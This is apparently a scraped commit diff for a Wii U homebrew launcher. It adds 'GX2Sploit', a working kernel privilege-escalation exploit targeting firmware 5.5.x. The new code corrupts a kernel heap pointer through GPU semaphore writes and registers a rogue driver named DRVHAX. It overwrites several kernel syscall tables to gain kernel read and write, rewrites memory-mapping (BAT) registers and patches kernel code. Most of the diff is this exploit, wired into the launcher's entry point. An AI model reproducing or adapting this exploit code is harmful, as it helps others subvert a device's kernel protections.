uint32_t gx2data[] = {0xfc2a0000};
|
||||
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
|
||||
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
|
||||
void (*do_flush)(uint32_t arg0, uint32_t arg1) = find_gadget(doflush, 0x2C, 0x01000000) + 0x14;
|
||||
|
||||
/* Modify a next ptr on the heap */
|
||||
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
|
||||
|
||||
set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
|
||||
set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
|
||||
do_flush(0x100, 1);
|
||||
|
||||
/* Register a new OSDriver, DRVHAX */
|
||||
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
|
||||
Register(drvname, 6, NULL, NULL);
|
||||
|
||||
/* Modify its save area to point to the kernel syscall table */
|
||||
drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
|
||||
|
||||
/* Use DRVHAX to install the read and write syscalls */
|
||||
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
|
||||
CopyToSaveArea(drvname, 6, syscalls, 8);
|
||||
|
||||
/* Clean up the heap and driver list so we can exit */
|
||||
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
|
||||
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
|
||||
|
||||
/* Setup kernel memmap for further exploitation (will be reverted later) */
|
||||
kern_write((void*)(KERN_ADDRESS_TBL + 0x12 * 4), 0x10000000);
|
||||
kern_write((void*)(KERN_ADDRESS_TBL + 0x13 * 4), 0x28305800);
|
||||
|
||||
/* Setup kernel read/write in every application */
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x34 * 4)), KERN_CODE_READ);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
|
||||
/* clean shutdown */
|
||||
GX2Shutdown();
|
||||
free(gx2CommandBuffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void setup_syscall(void)
|
||||
{
|
||||
// set kernel code area write permissions
|
||||
asm volatile("mtspr 570, %0" : : "r" (0xFFF00002));
|
||||
asm volatile("mtspr 571, %0" : : "r" (0xFFF00032));
|
||||
asm volatile("eieio; isync");
|
||||
|
||||
u32 *targetAddress = (u32*)BAT_SETUP_HOOK_ADDR;
|
||||
targetAddress[0] = 0x3ce00000 | ((BAT4L_VAL >> 16) & 0xFFFF); // lis r7, BAT4L_VAL@h
|
||||
targetAddress[1] = 0x60e70000 | (BAT4L_VAL & 0xFFFF); // ori r7, r7, BAT4L_VAL@l
|
||||
targetAddress[2] = 0x7cf18ba6; // mtspr 561, r7
|
||||
targetAddress[3] = 0x3ce00000 | ((BAT4U_VAL >> 16) & 0xFFFF); // lis r7, BAT4U_VAL@h
|
||||
targetAddress[4] = 0x60e70000 | (BAT4U_VAL & 0xFFFF); // ori r7, r7, BAT4U_VAL@l
|
||||
targetAddress[5] = 0x7cf08ba6; // mtspr 560, r7
|
||||
targetAddress[6] = 0x7c0006ac; // eieio
|
||||
targetAddress[7] = 0x4c00012c; // isync
|
||||
targetAddress[8] = 0x7ce802a6; // mflr r7
|
||||
targetAddress[9] = 0x48000003 | (u32)BAT_SETUP_HOOK_ENTRY; // bla BAT_SETUP_HOOK_ENTRY
|
||||
asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (BAT_SETUP_HOOK_ADDR & ~31));
|
||||
asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31));
|
||||
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_1);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_2);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_3);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_4);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_5);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_6);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_7);
|
||||
|
||||
u32 addr_syscall_0x65 = *(u32*)(KERN_SYSCALL_TBL_2 + 0x65 * 4);
|
||||
*(u32*)addr_syscall_0x65 = 0x3C60B00B; // lis r3, 0xB00B
|
||||
asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (addr_syscall_0x65 & ~31));
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
asm volatile("mtspr 570, %0" : : "r" (0xFFEE0002));
|
||||
asm volatile("mtspr 571, %0" : : "r" (0xFFEE0032));
|
||||
asm volatile("eieio; isync");
|
||||
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_8);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_9);
|
||||
|
||||
asm volatile("sync; eieio; isync");
|
||||
asm volatile("mtspr 560, %0" : : "r" (BAT4U_VAL));
|
||||
asm volatile("mtspr 561, %0" : : "r" (BAT4L_VAL));
|
||||
asm volatile("mtspr 570, %0" : : "r" (BAT4U_VAL));
|
||||
asm volatile("mtspr 571, %0" : : "r" (BAT4L_VAL));
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
|
||||
int CheckKernelExploit(void)
|
||||
{
|
||||
if(OSEffectiveToPhysical((void*)0xA0000000) == 0x10000000)
|
||||
{
|
||||
log_printf("Running kernel setup\n");
|
||||
|
||||
unsigned char backupBuffer[0x40];
|
||||
|
||||
u32 *targetAddress = (u32*)(0xA0000000 + (0x327FF000 - 0x10000000));
|
||||
memcpy(backupBuffer, targetAddress, sizeof(backupBuffer));
|
||||
|
||||
targetAddress[0] = 0x7c7082a6; // mfspr r3, 528
|
||||
targetAddress[1] = 0x60630003; // ori r3, r3, 0x03
|
||||
targetAddress[2] = 0x7c7083a6; // mtspr 528, r3
|
||||
targetAddress[3] = 0x7c7282a6; // mfspr r3, 530
|
||||
targetAddress[4] = 0x60630003; // ori r3, r3, 0x03
|
||||
targetAddress[5] = 0x7c7283a6; // mtspr 530, r3
|
||||
targetAddress[6] = 0x7c0006ac; // eieio
|
||||
targetAddress[7] = 0x4c00012c; // isync
|
||||
targetAddress[8] = 0x3c600000 | (((u32)setup_syscall) >> 16); // lis r3, setup_syscall@h
|
||||
targetAddress[9] = 0x60630000 | (((u32)setup_syscall) & 0xFFFF); // ori r3, r3, setup_syscall@l
|
||||
targetAddress[10] = 0x7c6903a6; // mtctr r3
|
||||
targetAddress[11] = 0x4e800420; // bctr
|
||||
DCFlushRange(targetAddress, sizeof(backupBuffer));
|
||||
|
||||
u8 *sdLoaderAddress = (u8*)(0xA0000000 + (0x30800000 - 0x10000000));
|
||||
memset(sdLoaderAddress, 0, 0x2000 - sizeof(___sd_loader_bin));
|
||||
memcpy(sdLoaderAddress, ___sd_loader_bin, sizeof(___sd_loader_bin));
|
||||
|
||||
// OS_FIRMWARE -> 550 on 5.5.x
|
||||
*(u32*)(sdLoaderAddress + 0x1400 + 4) = 550;
|
||||
|
||||
OsSpecifics *osSpecificFunctions = (OsSpecifics *)(sdLoaderAddress + 0x1500);
|
||||
osSpecificFunctions->addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire;
|
||||
osSpecificFunctions->addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport;
|
||||
osSpecificFunctions->addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1;
|
||||
osSpecificFunctions->addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2;
|
||||
osSpecificFunctions->addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3;
|
||||
osSpecificFunctions->addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4;
|
||||
osSpecificFunctions->addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5;
|
||||
osSpecificFunctions->addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr;
|
||||
DCFlushRange(sdLoaderAddress, 0x2000);
|
||||
|
||||
/* set our setup syscall to an unused position */
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x017FF000);
|
||||
|
||||
/* run our kernel code :) */
|
||||
SC0x25_SetupSyscall();
|
||||
|
||||
/* revert setup syscall */
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x0);
|
||||
|
||||
/* repair data */
|
||||
memcpy(targetAddress, backupBuffer, sizeof(backupBuffer));
|
||||
DCFlushRange(targetAddress, sizeof(backupBuffer));
|
||||
|
||||
unsigned int repl_addr = ADDRESS_main_entry_hook;
|
||||
*(u32*)(0xC1000000 + repl_addr) = 0x48000003 | 0x00800048;
|
||||
DCFlushRange((void*)0xC1000000 + repl_addr, 4);
|
||||
ICInvalidateRange((void*)(repl_addr), 4);
|
||||
|
||||
/* restore kernel memory table to original state */
|
||||
kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0);
|
||||
kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000);
|
||||
|
||||
log_printf("Kernel setup finished\n");
|
||||
|
||||
/* relaunch for BAT setup on every core */
|
||||
SYSRelaunchTitle(0, 0);
|
||||
return 0;
|
||||
}
|
||||
else if(SC0x65_ExploitCheck(0) != 0xB00B0000)
|
||||
{
|
||||
log_printf("Running GX2Sploit\n");
|
||||
/* Make a thread to modify the semaphore */
|
||||
OSThread *thread = (OSThread*)memalign(8, 0x1000);
|
||||
u8 *stack = (u8*)memalign(0x40, 0x2000);
|
||||
|
||||
if (OSCreateThread(thread, (OSThreadEntryPointFn)exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0)
|
||||
{
|
||||
OSFatal("Failed to create thread");
|
||||
}
|
||||
|
||||
OSResumeThread(thread);
|
||||
OSJoinThread(thread, 0);
|
||||
free(thread);
|
||||
free(stack);
|
||||
|
||||
log_printf("GX2Sploit done\n");
|
||||
SYSRelaunchTitle(0, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// else everything is setup
|
||||
return 1;
|
||||
}
|
||||
14
src/kernel/gx2sploit.h
Normal file
14
src/kernel/gx2sploit.h
Normal file
@ -0,0 +1,14 @@
|
||||
#ifndef GX2SPLOIT_H_
|
||||
#define GX2SPLOIT_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
int CheckKernelExploit(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // GX2SPLOIT_H_
|
||||
37
src/kernel/gx2sploit_asm.S
Normal file
37
src/kernel/gx2sploit_asm.S
Normal file
@ -0,0 +1,37 @@
|
||||
.globl set_semaphore_phys
|
||||
set_semaphore_phys:
|
||||
mflr 0
|
||||
stwu 1, -0x20(1)
|
||||
stw 31, 0x1C(1)
|
||||
stw 30, 0x18(1)
|
||||
stw 0, 0x24(1)
|
||||
|
||||
mtctr 3
|
||||
mr 3, 4
|
||||
mr 30, 5
|
||||
li 31, 1
|
||||
bctr
|
||||
|
||||
.globl Register
|
||||
Register:
|
||||
li 0,0x3200
|
||||
sc
|
||||
blr
|
||||
|
||||
.globl CopyToSaveArea
|
||||
CopyToSaveArea:
|
||||
li 0,0x4800
|
||||
sc
|
||||
blr
|
||||
|
||||
.globl SC0x25_SetupSyscall
|
||||
SC0x25_SetupSyscall:
|
||||
li 0,0x2500
|
||||
sc
|
||||
blr
|
||||
|
||||
.globl SC0x65_ExploitCheck
|
||||
SC0x65_ExploitCheck:
|
||||
li 0,0x6500
|
||||
sc
|
||||
blr
|
||||
26
src/main.cpp
26
src/main.cpp
@ -4,6 +4,7 @@
|
||||
#include "utils/utils.h"
|
||||
#include "dynamic_libs/padscore_functions.h"
|
||||
#include "common/common.h"
|
||||
#include "kernel/gx2sploit.h"
|
||||
|
||||
/* Entry point */
|
||||
extern "C" int Menu_Main(void)
|
||||
@ -12,22 +13,20 @@ extern "C" int Menu_Main(void)
|
||||
//! Initialize function pointers *
|
||||
//!*******************************************************************
|
||||
//! do OS (for acquire) and sockets first so we got logging
|
||||
// InitOSFunctionPointers();
|
||||
// InitSocketFunctionPointers();
|
||||
|
||||
log_init("192.168.178.3");
|
||||
log_print("Starting launcher\n");
|
||||
|
||||
/*
|
||||
InitFSFunctionPointers();
|
||||
InitGX2FunctionPointers();
|
||||
InitSysFunctionPointers();
|
||||
InitVPadFunctionPointers();
|
||||
//! *******************************************************************
|
||||
//! * Check if our application needs to run the kexploit started *
|
||||
//! *******************************************************************
|
||||
if(CheckKernelExploit() == 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
log_printf("Welcome to the Homebrew Launcher %s\n", HBL_VERSION);
|
||||
|
||||
InitPadScoreFunctionPointers();
|
||||
InitAXFunctionPointers();
|
||||
*/
|
||||
InitPadScoreFunctionPointers();
|
||||
log_print("Function exports loaded\n");
|
||||
log_printf("Function exports loaded\n");
|
||||
|
||||
//!*******************************************************************
|
||||
//! Enter main application *
|
||||
@ -38,6 +37,7 @@ extern "C" int Menu_Main(void)
|
||||
|
||||
Application::destroyInstance();
|
||||
|
||||
log_printf("HBL exit\n");
|
||||
log_deinit();
|
||||
|
||||
return returnCode;
|
||||
|
||||
@ -167,6 +167,8 @@ void HomebrewLaunchWindow::OnFileLoadFinish(GuiElement *element, const std::stri
|
||||
|
||||
if(result > 0)
|
||||
{
|
||||
ELF_DATA_ADDR = (u32)APP_BASE_MEM;
|
||||
ELF_DATA_SIZE = result;
|
||||
Application::instance()->quit(EXIT_SUCCESS);
|
||||
}
|
||||
}
|
||||
@ -177,7 +179,7 @@ void HomebrewLaunchWindow::OnLoadButtonClick(GuiButton *button, const GuiControl
|
||||
backBtn.setState(GuiElement::STATE_DISABLED);
|
||||
loadBtn.setState(GuiElement::STATE_DISABLED);
|
||||
|
||||
HomebrewLoader * loader = HomebrewLoader::loadToMemoryAsync(homebrewLaunchPath);
|
||||
HomebrewLoader * loader = HomebrewLoader::loadToMemoryAsync(homebrewLaunchPath, APP_BASE_MEM);
|
||||
loader->setEffect(EFFECT_FADE, 15, 255);
|
||||
loader->effectFinished.connect(this, &HomebrewLaunchWindow::OnOpenEffectFinish);
|
||||
loader->asyncLoadFinished.connect(this, &HomebrewLaunchWindow::OnFileLoadFinish);
|
||||
|
||||
@ -21,6 +21,7 @@
|
||||
#include "fs/fs_utils.h"
|
||||
#include "system/AsyncDeleter.h"
|
||||
#include "utils/HomebrewXML.h"
|
||||
#include "utils/utils.h"
|
||||
#include "HomebrewLaunchWindow.h"
|
||||
|
||||
#define DEFAULT_WIILOAD_PORT 4299
|
||||
@ -42,7 +43,7 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
||||
, wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)
|
||||
, buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L | GuiTrigger::BUTTON_LEFT, true)
|
||||
, buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R | GuiTrigger::BUTTON_RIGHT, true)
|
||||
, tcpReceiver(DEFAULT_WIILOAD_PORT)
|
||||
, tcpReceiver(APP_BASE_MEM, DEFAULT_WIILOAD_PORT)
|
||||
{
|
||||
tcpReceiver.serverReceiveStart.connect(this, &HomebrewWindow::OnTcpReceiveStart);
|
||||
tcpReceiver.serverReceiveFinished.connect(this, &HomebrewWindow::OnTcpReceiveFinish);
|
||||
@ -51,16 +52,15 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
||||
currentLeftPosition = 0;
|
||||
listOffset = 0;
|
||||
|
||||
DirList dirList("fs:/", NULL, DirList::Files | DirList::CheckSubfolders, 1);
|
||||
DirList dirList("fs:/vol/external01/wiiu/apps", ".elf", DirList::Files | DirList::CheckSubfolders, 1);
|
||||
|
||||
dirList.SortList();
|
||||
|
||||
for(int i = 0; i < dirList.GetFilecount(); i++)
|
||||
{
|
||||
log_printf("%i: %s\n", i, dirList.GetFilepath(i));
|
||||
//! skip our own application in the listing
|
||||
//!if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.elf") == 0)
|
||||
//! continue;
|
||||
if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.elf") == 0)
|
||||
continue;
|
||||
|
||||
//! skip hidden linux and mac files
|
||||
if(dirList.GetFilename(i)[0] == '.' || dirList.GetFilename(i)[0] == '_')
|
||||
@ -105,8 +105,8 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
||||
const char *cpName = xmlReadSuccess ? metaXml.GetName() : homebrewButtons[idx].execPath.c_str();
|
||||
const char *cpDescription = xmlReadSuccess ? metaXml.GetShortDescription() : "";
|
||||
|
||||
if(strncmp(cpName, "fs:/wiiu/apps/", strlen("fs:/wiiu/apps/")) == 0)
|
||||
cpName += strlen("fs:/wiiu/apps/");
|
||||
if(strncmp(cpName, "fs:/vol/external01/wiiu/apps/", strlen("fs:/vol/external01/wiiu/apps/")) == 0)
|
||||
cpName += strlen("fs:/vol/external01/wiiu/apps/");
|
||||
|
||||
homebrewButtons[idx].nameLabel = new GuiText(cpName, 32, glm::vec4(1.0f));
|
||||
homebrewButtons[idx].nameLabel->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);
|
||||
@ -124,8 +124,8 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
||||
homebrewButtons[idx].button->setLabel(homebrewButtons[idx].nameLabel, 0);
|
||||
homebrewButtons[idx].button->setLabel(homebrewButtons[idx].descriptionLabel, 1);
|
||||
homebrewButtons[idx].button->setIcon(homebrewButtons[idx].iconImg);
|
||||
float fXOffset = (i / MAX_BUTTONS_ON_PAGE) * width;
|
||||
float fYOffset = (homebrewButtons[idx].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[idx].image->getHeight() + 20) * (i % MAX_BUTTONS_ON_PAGE);
|
||||
float fXOffset = (idx / MAX_BUTTONS_ON_PAGE) * width;
|
||||
float fYOffset = (homebrewButtons[idx].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[idx].image->getHeight() + 20) * (idx % MAX_BUTTONS_ON_PAGE);
|
||||
homebrewButtons[idx].button->setPosition(currentLeftPosition + fXOffset, fYOffset);
|
||||
homebrewButtons[idx].button->setTrigger(&touchTrigger);
|
||||
homebrewButtons[idx].button->setTrigger(&wpadTouchTrigger);
|
||||
@ -329,10 +329,7 @@ void HomebrewWindow::OnTcpReceiveFinish(GuiElement *element, u32 ip, int result)
|
||||
|
||||
if(result > 0)
|
||||
{
|
||||
u32 ApplicationMemoryEnd;
|
||||
asm volatile("lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l" : "=r" (ApplicationMemoryEnd));
|
||||
|
||||
ELF_DATA_ADDR = ApplicationMemoryEnd;
|
||||
ELF_DATA_ADDR = (u32)APP_BASE_MEM;
|
||||
ELF_DATA_SIZE = result;
|
||||
Application::instance()->quit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
@ -10,9 +10,7 @@
|
||||
#include "utils/StringTools.h"
|
||||
#include "utils/net.h"
|
||||
|
||||
u32 __CODE_END = 0x0;
|
||||
|
||||
TcpReceiver::TcpReceiver(int port)
|
||||
TcpReceiver::TcpReceiver(unsigned char* loadAddr, int port)
|
||||
: GuiFrame(0, 0)
|
||||
, CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff)
|
||||
, exitRequested(false)
|
||||
@ -25,9 +23,7 @@ TcpReceiver::TcpReceiver(int port)
|
||||
height = progressWindow.getHeight();
|
||||
append(&progressWindow);
|
||||
|
||||
u32 ApplicationMemoryEnd = getApplicationEndAddr();
|
||||
|
||||
loadAddress = (unsigned char*)ApplicationMemoryEnd;
|
||||
loadAddress = loadAddr;
|
||||
resumeThread();
|
||||
}
|
||||
|
||||
|
||||
@ -20,7 +20,7 @@ public:
|
||||
NOT_ENOUGH_MEMORY = -4,
|
||||
};
|
||||
|
||||
TcpReceiver(int port);
|
||||
TcpReceiver(unsigned char* loadAddr, int port);
|
||||
~TcpReceiver();
|
||||
|
||||
sigslot::signal2<GuiElement *, u32> serverReceiveStart;
|
||||
|
||||
@ -14,6 +14,8 @@ static volatile int log_lock = 0;
|
||||
|
||||
void log_init(const char * ipString)
|
||||
{
|
||||
socket_lib_init();
|
||||
|
||||
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (log_socket < 0)
|
||||
return;
|
||||
|
||||
@ -1,11 +0,0 @@
|
||||
.globl getApplicationEndAddr
|
||||
getApplicationEndAddr:
|
||||
lis r3, __CODE_END@h
|
||||
ori r3, r3, __CODE_END@l
|
||||
blr
|
||||
|
||||
.globl SC0x25_KernelCopyData
|
||||
SC0x25_KernelCopyData:
|
||||
li r0, 0x2500
|
||||
sc
|
||||
blr
|
||||
@ -40,9 +40,6 @@ extern "C" {
|
||||
#define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16)))
|
||||
#define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32)))
|
||||
|
||||
unsigned int getApplicationEndAddr(void);
|
||||
void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
Loading…
Reference in New Issue
Block a user